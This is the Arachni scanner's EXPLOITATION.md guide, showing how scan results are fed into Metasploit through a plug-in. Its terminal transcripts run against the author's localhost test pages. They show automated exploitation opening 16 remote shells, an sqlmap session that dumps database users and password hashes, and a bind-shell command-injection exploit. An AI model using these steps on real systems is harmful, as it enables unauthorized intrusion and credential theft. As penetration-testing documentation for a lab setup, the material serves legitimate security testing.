Skip to content

Latest commit

 

History

History
431 lines (338 loc) · 24 KB

EXPLOITATION.md

File metadata and controls

431 lines (338 loc) · 24 KB

WebApp exploitation with Arachni and Metasploit

Arachni provides advanced exploitation techniques via the:

  • ArachniMetareport, an Arachni report specifically designed to provide WebApp context to the Metasploit framework.
  • Arachni plug-in for the Metasploit framework, used to load the ArachniMetareport in order to provide advanced automated and manual exploitation of WebApp vulnerabilities.
  • Advanced generic WebApp exploit modules for the Metasploit framework, utilized either manually or automatically by the Arachni MSF plug-in.

Please be warned that at the moment Metasploit integration is here as a proof-of-concept and is not officially supported nor a high priority.

##Installation

To install the necessary files all you need to do is copy the contents of the "external/metasploit" directory to Metasploit's root. $ cp -R arachni/external/metasploit/* metasploit/

##Usage

###Creating the Metareport

New scan

$ ./arachni.rb http://localhost/~zapotek/tests/ --report=metareport:outfile=localhost.afr.msf
Arachni - Web Application Security Scanner Framework v0.2.1 [0.1.9]
       Author: Tasos "Zapotek" Laskos <[email protected]>

               (With the support of the community and the Arachni Team.)

       Website:       http://github.com/Arachni/arachni
       Documentation: http://github.com/Arachni/arachni/wiki


 [~] No modules were specified.
 [~]  -> Will run all mods.
 [~] No audit options were specified.
 [~]  -> Will audit links, forms and cookies.

 [...snipping a whole lot of scan output...]

 [*] Creating file for the Metasploit framework...
 [*] Saved in 'localhost.afr.msf'.

 [*] Dumping audit results in 'metareport.afr'.
 [*] Done!

Converting an existing report

To convert a standard Arachni Framework Report (.afr) file to a Metareport (.afr.msf) file:

$ ./arachni.rb --repload=localhost.afr --report=metareport:outfile=localhost.afr.msf
Arachni - Web Application Security Scanner Framework v0.2.1 [0.1.9]
       Author: Tasos "Zapotek" Laskos <[email protected]>

               (With the support of the community and the Arachni Team.)

       Website:       http://github.com/Arachni/arachni
       Documentation: http://github.com/Arachni/arachni/wiki



 [*] Creating file for the Metasploit framework...
 [*] Saved in 'localhost.afr.msf'.

Using the Arachni plug-in via Metasploit

Loading the ArachniMetareport

$ ./msfconsole  # Start the MSF

                     888                           888        d8b888
                     888                           888        Y8P888
                     888                           888           888
88888b.d88b.  .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P  Y8b888       "88b88K     888 "88b888d88""88b888888
888  888  88888888888888   .d888888"Y8888b.888  888888888  888888888
888  888  888Y8b.    Y88b. 888  888     X88888 d88P888Y88..88P888Y88b.
888  888  888 "Y8888  "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
                                           888
                                           888
                                           888


       =[ metasploit v3.5.1-dev [core:3.5 api:1.0]
+ -- --=[ 620 exploits - 307 auxiliary
+ -- --=[ 215 payloads - 27 encoders - 8 nops
       =[ svn r10844 updated today (2010.10.29)

msf > load arachni      # Load the Arachni plug-in
[*] Successfully loaded plugin: arachni
msf > arachni_load ../arachni/localhost.afr.msf     # Load the ArachniMetareport using the Arachni plug-in
[*] Loading report...
[*] Loaded 19 vulnerabilities.


Unique exploits
===============

    ID  Exploit                          Description
    --  -------                          -----------
    1   unix/webapp/arachni_php_include
                                        This module allows complex HTTP requests to be crafted in order to
                                allow exploitation of PHP remote file inclusion vulnerabilities.

                                Use 'XXinjectionXX' to mark the value of the vulnerable variable/field,
                                i.e. where the payload should go.

                                Supported vectors: GET, POST, COOKIE, HEADER.
                                (Mainly for use with the Arachni plug-in.)

    2   unix/webapp/arachni_exec
                                        This module allows complex HTTP requests to be crafted in order to
                                allow exploitation of command injection vulnerabilities in Unix-like platforms.

                                Use 'XXinjectionXX' to mark the value of the vulnerable variable/field,
                                i.e. where the payload should go.

                                Supported vectors: GET, POST, COOKIE, HEADER.
                                (Mainly for use with the Arachni plug-in.)

    3   unix/webapp/arachni_php_eval
                                        This module allows complex HTTP requests to be crafted in order to
                                allow exploitation of PHP eval() vulnerabilities in Unix-like platforms.

                                Use 'XXinjectionXX' to mark the value of the vulnerable variable/field,
                                i.e. where the payload should go.

                                Supported vectors: GET, POST, COOKIE, HEADER.
                                (Mainly for use with the Arachni plug-in.)

    4   unix/webapp/arachni_sqlmap

                                This module is designed to be used with the Arachni plug-in.

                                From the original:

                                        This module launches an sqlmap session.
                                sqlmap is an automatic SQL injection tool developed in Python.
                                Its goal is to detect and take advantage of SQL injection
                                vulnerabilities on web applications. Once it detects one
                                or more SQL injections on the target host, the user can
                                choose among a variety of options to perform an extensive
                                back-end database management system fingerprint, retrieve
                                DBMS session user and database, enumerate users, password
                                hashes, privileges, databases, dump entire or user
                                specific DBMS tables/columns, run his own SQL SELECT
                                statement, read specific files on the file system and much
                                more.




Vulnerabilities
===============

    ID  Host       Path                                    Name                   Method  Params                               Exploit
    --  ----       ----                                    ----                   ------  ------                               -------
    1   127.0.0.1  /~zapotek/tests/trainer.php             Remote file inclusion  COOKIE  {"rfi"=>"XXinjectionXX\x00"}         unix/webapp/arachni_php_include
    2   127.0.0.1  /~zapotek/tests/trainer.php             Remote file inclusion  COOKIE  {"rfi"=>"XXinjectionXX"}             unix/webapp/arachni_php_include
    3   127.0.0.1  /~zapotek/tests/cookies/os_command.php  OS command injection   COOKIE  {"os_command"=>"XXinjectionXX\x00"}  unix/webapp/arachni_exec
    4   127.0.0.1  /~zapotek/tests/cookies/os_command.php  OS command injection   COOKIE  {"os_command"=>"XXinjectionXX"}      unix/webapp/arachni_exec
    5   127.0.0.1  /~zapotek/tests/cookies/rfi.php         Remote file inclusion  COOKIE  {"rfi"=>"XXinjectionXX\x00"}         unix/webapp/arachni_php_include
    6   127.0.0.1  /~zapotek/tests/cookies/rfi.php         Remote file inclusion  COOKIE  {"rfi"=>"XXinjectionXX"}             unix/webapp/arachni_php_include
    7   127.0.0.1  /~zapotek/tests/cookies/eval.php        Code injection         COOKIE  {"eval"=>"%3BXXinjectionXX"}         unix/webapp/arachni_php_eval
    8   127.0.0.1  /~zapotek/tests/forms/eval.php          Code injection         POST    {"eval"=>";XXinjectionXX"}           unix/webapp/arachni_php_eval
    9   127.0.0.1  /~zapotek/tests/forms/os_command.php    OS command injection   POST    {"os_command"=>"XXinjectionXX\x00"}  unix/webapp/arachni_exec
    10  127.0.0.1  /~zapotek/tests/forms/os_command.php    OS command injection   POST    {"os_command"=>"XXinjectionXX"}      unix/webapp/arachni_exec
    11  127.0.0.1  /~zapotek/tests/forms/rfi.php           Remote file inclusion  POST    {"rfi"=>"XXinjectionXX\x00"}         unix/webapp/arachni_php_include
    12  127.0.0.1  /~zapotek/tests/forms/rfi.php           Remote file inclusion  POST    {"rfi"=>"XXinjectionXX"}             unix/webapp/arachni_php_include
    13  127.0.0.1  /~zapotek/tests/forms/sqli.php          SQL Injection          POST    {"sql_inj"=>"1"}                     unix/webapp/arachni_sqlmap
    14  127.0.0.1  /~zapotek/tests/links/os_command.php    OS command injection   GET     {"os_command"=>"XXinjectionXX\x00"}  unix/webapp/arachni_exec
    15  127.0.0.1  /~zapotek/tests/links/os_command.php    OS command injection   GET     {"os_command"=>"XXinjectionXX"}      unix/webapp/arachni_exec
    16  127.0.0.1  /~zapotek/tests/links/rfi.php           Remote file inclusion  GET     {"rfi"=>"XXinjectionXX\x00"}         unix/webapp/arachni_php_include
    17  127.0.0.1  /~zapotek/tests/links/rfi.php           Remote file inclusion  GET     {"rfi"=>"XXinjectionXX"}             unix/webapp/arachni_php_include
    18  127.0.0.1  /~zapotek/tests/links/eval.php          Code injection         GET     {"eval"=>";XXinjectionXX"}           unix/webapp/arachni_php_eval
    19  127.0.0.1  /~zapotek/tests/links/sqli.php          Blind SQL Injection    GET     {"id"=>"1"}                          unix/webapp/arachni_sqlmap



[*] Done!
msf >

Automated exploitation (arachni_autopwn)

Usage
msf > arachni_autopwn
[*] Usage: arachni_autopwn [options]
        -h          Display this help text
        -x [regexp] Only run modules whose name matches the regex
        -a          Launch exploits against all matched targets
        -r          Use a reverse connect shell
        -b          Use a bind shell on a random port (default)
        -m          Use a meterpreter shell (if possible)
        -q          Disable exploit module output
Example
msf > arachni_autopwn -a
[*] Running pwn-jobs...
[...snip...]
[*] Command shell session 1 opened (127.0.0.1:54598 -> 127.0.0.1:5019) at 2010-10-28 18:26:00 +0100
[*] Command shell session 2 opened (127.0.0.1:55336 -> 127.0.0.1:8541) at 2010-10-28 18:26:00 +0100
[*] Command shell session 3 opened (127.0.0.1:37880 -> 127.0.0.1:12465) at 2010-10-28 18:26:00 +0100
[*] Command shell session 4 opened (127.0.0.1:49451 -> 127.0.0.1:10866) at 2010-10-28 18:26:00 +0100
[*] Command shell session 5 opened (127.0.0.1:40276 -> 127.0.0.1:11915) at 2010-10-28 18:26:00 +0100
[*] Command shell session 6 opened (127.0.0.1:34400 -> 127.0.0.1:5222) at 2010-10-28 18:26:00 +0100
[*] Command shell session 7 opened (127.0.0.1:58456 -> 127.0.0.1:10955) at 2010-10-28 18:26:00 +0100
[*] Command shell session 9 opened (127.0.0.1:48549 -> 127.0.0.1:5929) at 2010-10-28 18:26:00 +0100
[*] Command shell session 8 opened (127.0.0.1:47028 -> 127.0.0.1:12432) at 2010-10-28 18:26:00 +0100
[*] Command shell session 10 opened (127.0.0.1:38239 -> 127.0.0.1:11919) at 2010-10-28 18:26:00 +0100
[*] Command shell session 11 opened (127.0.0.1:58541 -> 127.0.0.1:14343) at 2010-10-28 18:26:01 +0100
[*] Command shell session 12 opened (127.0.0.1:48655 -> 127.0.0.1:13743) at 2010-10-28 18:26:01 +0100
[*] Command shell session 13 opened (127.0.0.1:59996 -> 127.0.0.1:8895) at 2010-10-28 18:26:01 +0100
[*] Command shell session 14 opened (127.0.0.1:53717 -> 127.0.0.1:10767) at 2010-10-28 18:26:01 +0100
[*] Command shell session 15 opened (127.0.0.1:51623 -> 127.0.0.1:7668) at 2010-10-28 18:26:01 +0100
[*] Command shell session 16 opened (127.0.0.1:47874 -> 127.0.0.1:8965) at 2010-10-28 18:26:02 +0100
[...snip...]
[*] The autopwn command has completed with 16 sessions
[*] Enter sessions -i [ID] to interact with a given session ID
[*]
[*] ================================================================================

Active sessions
===============

  Id  Type   Information  Connection                          Via
  --  ----   -----------  ----------                          ---
  1   shell               127.0.0.1:54598 -> 127.0.0.1:5019   exploit/unix/webapp/arachni_php_eval
  2   shell               127.0.0.1:55336 -> 127.0.0.1:8541   exploit/unix/webapp/arachni_exec
  3   shell               127.0.0.1:37880 -> 127.0.0.1:12465  exploit/unix/webapp/arachni_exec
  4   shell               127.0.0.1:49451 -> 127.0.0.1:10866  exploit/unix/webapp/arachni_php_include
  5   shell               127.0.0.1:40276 -> 127.0.0.1:11915  exploit/unix/webapp/arachni_php_eval
  6   shell               127.0.0.1:34400 -> 127.0.0.1:5222   exploit/unix/webapp/arachni_exec
  7   shell               127.0.0.1:58456 -> 127.0.0.1:10955  exploit/unix/webapp/arachni_php_include
  8   shell               127.0.0.1:47028 -> 127.0.0.1:12432  exploit/unix/webapp/arachni_exec
  9   shell               127.0.0.1:48549 -> 127.0.0.1:5929   exploit/unix/webapp/arachni_exec
  10  shell               127.0.0.1:38239 -> 127.0.0.1:11919  exploit/unix/webapp/arachni_exec
  11  shell               127.0.0.1:58541 -> 127.0.0.1:14343  exploit/unix/webapp/arachni_php_include
  12  shell               127.0.0.1:48655 -> 127.0.0.1:13743  exploit/unix/webapp/arachni_php_include
  13  shell               127.0.0.1:59996 -> 127.0.0.1:8895   exploit/unix/webapp/arachni_php_include
  14  shell               127.0.0.1:53717 -> 127.0.0.1:10767  exploit/unix/webapp/arachni_php_include
  15  shell               127.0.0.1:51623 -> 127.0.0.1:7668   exploit/unix/webapp/arachni_php_eval
  16  shell               127.0.0.1:47874 -> 127.0.0.1:8965   exploit/unix/webapp/arachni_php_include

[*] ================================================================================
msf > sessions -i 1
[*] Starting interaction with 1...

ls
eval.php
os_command.php
rfi.php
sqli.php
xss.php

whoami
www-data
^C
Abort session 1? [y/N]  y

[*] Command shell session 1 closed.  Reason: User exit
msf >

Notice that we ended up with 16 sessions out of the 19 reported vulnerabilities.
This is due to the fact that the "unix/webapp/arachni_sqlmap" exploit can't be launched automatically and because some of the reported vulnerabilities are basically the same.

Next we'll see how to use the "arachni_manual" command for assisted exploitation and get an SQL shell.

Assisted exploitation (arachni_manual)

msf > arachni_list_vulns    # Let's take a look at the available vulnerabilities once again.

Vulnerabilities
===============

    ID  Host       Path                                    Name                   Method  Params                               Exploit
    --  ----       ----                                    ----                   ------  ------                               -------
    1   127.0.0.1  /~zapotek/tests/trainer.php             Remote file inclusion  COOKIE  {"rfi"=>"XXinjectionXX\x00"}         unix/webapp/arachni_php_include
    2   127.0.0.1  /~zapotek/tests/trainer.php             Remote file inclusion  COOKIE  {"rfi"=>"XXinjectionXX"}             unix/webapp/arachni_php_include
    3   127.0.0.1  /~zapotek/tests/cookies/os_command.php  OS command injection   COOKIE  {"os_command"=>"XXinjectionXX\x00"}  unix/webapp/arachni_exec
    4   127.0.0.1  /~zapotek/tests/cookies/os_command.php  OS command injection   COOKIE  {"os_command"=>"XXinjectionXX"}      unix/webapp/arachni_exec
    5   127.0.0.1  /~zapotek/tests/cookies/rfi.php         Remote file inclusion  COOKIE  {"rfi"=>"XXinjectionXX\x00"}         unix/webapp/arachni_php_include
    6   127.0.0.1  /~zapotek/tests/cookies/rfi.php         Remote file inclusion  COOKIE  {"rfi"=>"XXinjectionXX"}             unix/webapp/arachni_php_include
    7   127.0.0.1  /~zapotek/tests/cookies/eval.php        Code injection         COOKIE  {"eval"=>"%3BXXinjectionXX"}         unix/webapp/arachni_php_eval
    8   127.0.0.1  /~zapotek/tests/forms/eval.php          Code injection         POST    {"eval"=>";XXinjectionXX"}           unix/webapp/arachni_php_eval
    9   127.0.0.1  /~zapotek/tests/forms/os_command.php    OS command injection   POST    {"os_command"=>"XXinjectionXX\x00"}  unix/webapp/arachni_exec
    10  127.0.0.1  /~zapotek/tests/forms/os_command.php    OS command injection   POST    {"os_command"=>"XXinjectionXX"}      unix/webapp/arachni_exec
    11  127.0.0.1  /~zapotek/tests/forms/rfi.php           Remote file inclusion  POST    {"rfi"=>"XXinjectionXX\x00"}         unix/webapp/arachni_php_include
    12  127.0.0.1  /~zapotek/tests/forms/rfi.php           Remote file inclusion  POST    {"rfi"=>"XXinjectionXX"}             unix/webapp/arachni_php_include
    13  127.0.0.1  /~zapotek/tests/forms/sqli.php          SQL Injection          POST    {"sql_inj"=>"1"}                     unix/webapp/arachni_sqlmap
    14  127.0.0.1  /~zapotek/tests/links/os_command.php    OS command injection   GET     {"os_command"=>"XXinjectionXX\x00"}  unix/webapp/arachni_exec
    15  127.0.0.1  /~zapotek/tests/links/os_command.php    OS command injection   GET     {"os_command"=>"XXinjectionXX"}      unix/webapp/arachni_exec
    16  127.0.0.1  /~zapotek/tests/links/rfi.php           Remote file inclusion  GET     {"rfi"=>"XXinjectionXX\x00"}         unix/webapp/arachni_php_include
    17  127.0.0.1  /~zapotek/tests/links/rfi.php           Remote file inclusion  GET     {"rfi"=>"XXinjectionXX"}             unix/webapp/arachni_php_include
    18  127.0.0.1  /~zapotek/tests/links/eval.php          Code injection         GET     {"eval"=>";XXinjectionXX"}           unix/webapp/arachni_php_eval
    19  127.0.0.1  /~zapotek/tests/links/sqli.php          Blind SQL Injection    GET     {"id"=>"1"}                          unix/webapp/arachni_sqlmap


msf > arachni_manual 19     # The vulnerability with ID '19' uses the 'unix/webapp/arachni_sqlmap' module
[*] Using unix/webapp/arachni_sqlmap .
[*] Preparing datastore for 'Blind SQL Injection' vulnerability @ 127.0.0.1/~zapotek/tests/links/sqli.php ...
SRVHOST => 127.0.0.1
SRVPORT => 7872
RHOST => 127.0.0.1
RPORT => 80
LHOST => 127.0.0.1
LPORT => 12633
SSL => false
GET => id=1
METHOD => GET
COOKIES =>
HEADERS => Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8::User-Agent=Arachni/0.2.1
PATH => /~zapotek/tests/links/sqli.php
[*] Done!

Compatible payloads
===================

    Name  Description
    ----  -----------


Use: set PAYLOAD <name>
msf auxiliary(arachni_sqlmap) > show options    # Make sure that everything is setup properly

Module options:

   Name         Current Setting                                         Required  Description
   ----         ---------------                                         --------  -----------
   COOKIES                                                              no
   GET          id=1                                                    no        HTTP GET query
   METHOD       GET                                                     yes       HTTP Method
   OPTS         --users --time-test --passwords --dbs --sql-shell -v 0  no        The sqlmap options to use
   PATH         /~zapotek/tests/links/sqli.php                          yes       The path to test for SQL injection
   POST                                                                 no        The data string to be sent through POST
   Proxies                                                              no        Use a proxy chain
   RHOST        127.0.0.1                                               yes       The target address
   RPORT        80                                                      yes       The target port
   SQLMAP_PATH  sqlmap                                                  yes       The sqlmap >= 0.8 full path
   VHOST                                                                no        HTTP server virtual host

msf auxiliary(arachni_sqlmap) > set SQLMAP_PATH /home/zapotek/Downloads/sqlmap/sqlmap.py    # Tell the module where the sqlmap script is
SQLMAP_PATH => /home/zapotek/Downloads/sqlmap/sqlmap.py
msf auxiliary(arachni_sqlmap) > exploit     # rock it!

[*] exec: /home/zapotek/Downloads/sqlmap/sqlmap.py -u 'http://127.0.0.1:80//~zapotek/tests/links/sqli.php?id=1' --method GET --users --time-test --passwords --dbs --sql-shell -v 0 --cookie ''

    sqlmap/0.8 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 15:08:25

[15:08:26] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
web server operating system: Linux Ubuntu
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL >= 5.0.0

time based blind sql injection payload:    'id=1%27%20AND%20SLEEP%285%29%20AND%20%27HXME%27=%27HXME'

database management system users [5]:
[*] 'debian-sys-maint'@'localhost'
[*] 'phpmyadmin'@'localhost'
[*] 'root'@'127.0.0.1'
[*] 'root'@'localhost'
[*] 'root'@'zonster'

database management system users password hashes:
[*] debian-sys-maint [1]:
    password hash: *7AD474111CBF8492D9311D6E8493490ED6247D86
[*] phpmyadmin [1]:
    password hash: *C3A70F18627A18967A3A70C0F648CDEE0BCE9AB2
[*] root [1]:
    password hash: NULL

available databases [5]:
[*] arachni
[*] information_schema
[*] msf
[*] mysql
[*] phpmyadmin

sql-shell> CURRENT_USER()   # And we now have an SQL shell to play with!
do you want to retrieve the SQL statement output? [Y/n]
CURRENT_USER():    'root@localhost'
sql-shell> VERSION()
do you want to retrieve the SQL statement output? [Y/n]
VERSION():    '5.1.49-1ubuntu8'

sql-shell> q

[*] shutting down at: 15:09:07

[*] Auxiliary module execution completed
msf auxiliary(arachni_sqlmap) >

Of course 'arachni_manual' is not limited to any one module. For example: msf auxiliary(arachni_sqlmap) > arachni_manual 15 # Prepare the vulnerability with ID '15' [] Using unix/webapp/arachni_exec . [] Preparing datastore for 'OS command injection' vulnerability @ 127.0.0.1/~zapotek/tests/links/os_command.php ... SRVHOST => 127.0.0.1 SRVPORT => 9033 RHOST => 127.0.0.1 RPORT => 80 LHOST => 127.0.0.1 LPORT => 11853 SSL => false GET => os_command=XXinjectionXX METHOD => GET COOKIES => HEADERS => Accept=text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8::User-Agent=Arachni/0.2.1 PATH => /~zapotek/tests/links/os_command.php [*] Done! PAYLOAD => cmd/unix/bind_perl msf exploit(arachni_exec) > exploit # rock it!

[*] Sending HTTP request for /~zapotek/tests/links/os_command.php
[*] Started bind handler
[*] Command shell session 17 opened (127.0.0.1:45295 -> 127.0.0.1:11853) at 2010-10-29 15:13:48 +0100   # And we now have a system shell!

ls
eval.php
os_command.php
redirect.php
rfi.php
sqli.php
xss.php

whoami
www-data
^C
Abort session 17? [y/N]  y

[*] Command shell session 17 closed.  Reason: User exit
msf exploit(arachni_exec) >